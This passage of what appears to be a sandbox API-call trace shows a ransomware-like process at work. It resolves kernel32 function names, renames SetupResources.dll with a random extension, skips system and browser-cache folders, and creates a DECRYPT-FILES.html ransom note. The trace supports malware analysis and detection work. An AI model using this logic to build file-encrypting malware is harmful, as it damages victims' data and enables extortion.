lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0127.363] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0127.363] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0127.363] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0127.363] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0127.363] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0127.363] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0127.363] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0127.363] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0127.363] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0127.363] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0127.363] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0127.363] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0127.363] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0127.363] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0127.363] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0127.364] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0127.364] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0127.364] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0127.364] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0127.364] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0127.364] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0127.364] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0127.364] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0127.364] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0127.364] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0127.364] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0127.364] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0127.364] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0127.364] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0127.364] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0127.364] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0127.364] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0127.364] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0127.364] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0127.364] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0127.364] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0127.364] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0127.364] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0127.364] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0127.364] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0127.364] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0127.364] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0127.364] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0127.364] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0127.364] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0127.364] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0127.364] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0127.364] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0127.364] lstrlenA (lpString="COPYCONTEXT") returned 11 [0127.364] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0127.365] lstrlenA (lpString="COPYFILE2") returned 9 [0127.365] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0127.365] lstrlenA (lpString="COPYFILEA") returned 9 [0127.365] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0127.365] lstrlenA (lpString="COPYFILEEXA") returned 11 [0127.365] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0127.365] lstrlenA (lpString="COPYFILEEXW") returned 11 [0127.365] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0127.365] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0127.365] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0127.365] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0127.365] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0127.365] lstrlenA (lpString="COPYFILEW") returned 9 [0127.365] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0127.365] lstrlenA (lpString="COPYLZFILE") returned 10 [0127.365] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0127.365] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0127.365] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0127.365] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0127.365] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0127.365] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0127.365] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0127.365] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0127.365] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0127.365] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0127.365] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0127.365] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0127.365] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0127.365] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0127.365] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0127.365] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0127.365] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0127.365] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0127.365] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0127.366] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0127.366] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0127.366] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0127.366] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0127.366] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0127.366] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0127.366] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0127.366] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0127.366] lstrlenA (lpString="CREATEEVENTA") returned 12 [0127.366] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0127.366] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0127.366] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0127.366] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0127.366] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0127.366] lstrlenA (lpString="CREATEEVENTW") returned 12 [0127.366] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0127.366] lstrlenA (lpString="CREATEFIBER") returned 11 [0127.366] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0127.366] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0127.366] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0127.366] lstrlenA (lpString="CREATEFILE2") returned 11 [0127.366] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0127.366] lstrlenA (lpString="CREATEFILEA") returned 11 [0127.366] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0127.366] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0127.366] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0127.366] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0127.366] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0127.366] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0127.366] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0127.366] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0127.366] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0127.366] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0127.366] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0127.366] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0127.367] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0127.367] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0127.367] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0127.367] lstrlenA (lpString="CREATEFILEW") returned 11 [0127.367] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0127.367] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0127.367] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0127.367] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0127.367] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0127.367] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0127.367] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0127.367] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0127.367] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0127.367] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0127.367] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0127.367] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0127.367] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0127.367] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0127.367] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0127.367] lstrlenA (lpString="CREATEJOBSET") returned 12 [0127.367] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0127.367] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0127.367] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0127.367] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0127.367] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0127.367] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0127.367] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0127.367] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0127.367] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0127.367] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0127.367] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0127.367] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0127.367] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0127.367] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0127.368] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0127.368] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0127.368] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0127.368] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0127.368] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0127.368] lstrlenA (lpString="CREATEPIPE") returned 10 [0127.368] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0127.368] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0127.368] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0127.368] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0127.368] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0127.368] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0127.368] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0127.368] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0127.368] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0127.368] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0127.368] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0127.368] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0127.368] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0127.368] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0127.368] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0127.368] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0127.368] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0127.368] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0127.368] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0127.368] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0127.368] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0127.368] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0127.368] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0127.368] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0127.368] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0127.368] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0127.368] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0127.368] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0127.369] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0127.369] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0127.369] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0127.369] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0127.369] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0127.369] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0127.369] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0127.369] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0127.369] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0127.369] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0127.369] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0127.369] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0127.369] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0127.369] lstrlenA (lpString="CREATETHREAD") returned 12 [0127.369] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0127.369] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0127.369] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0127.369] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0127.369] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0127.369] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0127.369] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0127.369] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0127.369] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0127.369] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0127.369] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0127.369] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0127.369] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0127.369] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0127.369] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0127.370] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1040\\SetupResources.dll.doT9o") returned 51 [0127.370] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll"), lpNewFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll.doT9o" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll.dot9o"), dwFlags=0x0) returned 1 [0127.371] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.371] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.371] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.372] FindNextFileW (in: hFindFile=0x3b81200, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0127.372] FindClose (in: hFindFile=0x3b81200 | out: hFindFile=0x3b81200) returned 1 [0127.372] CloseHandle (hObject=0x528) returned 1 [0127.372] FindNextFileW (in: hFindFile=0x6bbd30, lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x31, dwReserved1=0x0, cFileName="1041", cAlternateFileName="")) returned 1 [0127.372] lstrcmpW (lpString1="1041", lpString2=".") returned 1 [0127.372] lstrcmpW (lpString1="1041", lpString2="..") returned 1 [0127.372] lstrcatW (in: lpString1="1041", lpString2="\\" | out: lpString1="1041\\") returned="1041\\" [0127.372] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="1041\\" | out: lpString1="C:\\588bce7c90097ed212\\1041\\") returned="C:\\588bce7c90097ed212\\1041\\" [0127.372] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1041\\", lpSrch=":\\Windows") returned 0x0 [0127.372] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1041\\", lpSrch="\\Program Files") returned 0x0 [0127.372] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1041\\", lpSrch="\\Games\\") returned 0x0 [0127.372] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1041\\", lpSrch="\\Tor Browser\\") returned 0x0 [0127.372] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1041\\", lpSrch="\\ProgramData\\") returned 0x0 [0127.372] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1041\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0127.372] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1041\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0127.372] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1041\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0127.372] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1041\\", lpSrch="\\All Users") returned 0x0 [0127.372] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\") returned 27 [0127.372] lstrlenW (lpString="eogwkz.dat") returned 10 [0127.372] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1041\\\\eogwkz.dat") returned 38 [0127.372] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\1041\\eogwkz.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x528 [0127.373] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\") returned 27 [0127.373] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0127.373] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1041\\\\DECRYPT-FILES.html") returned 46 [0127.373] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\\\DECRYPT-FILES.html" (normalized: 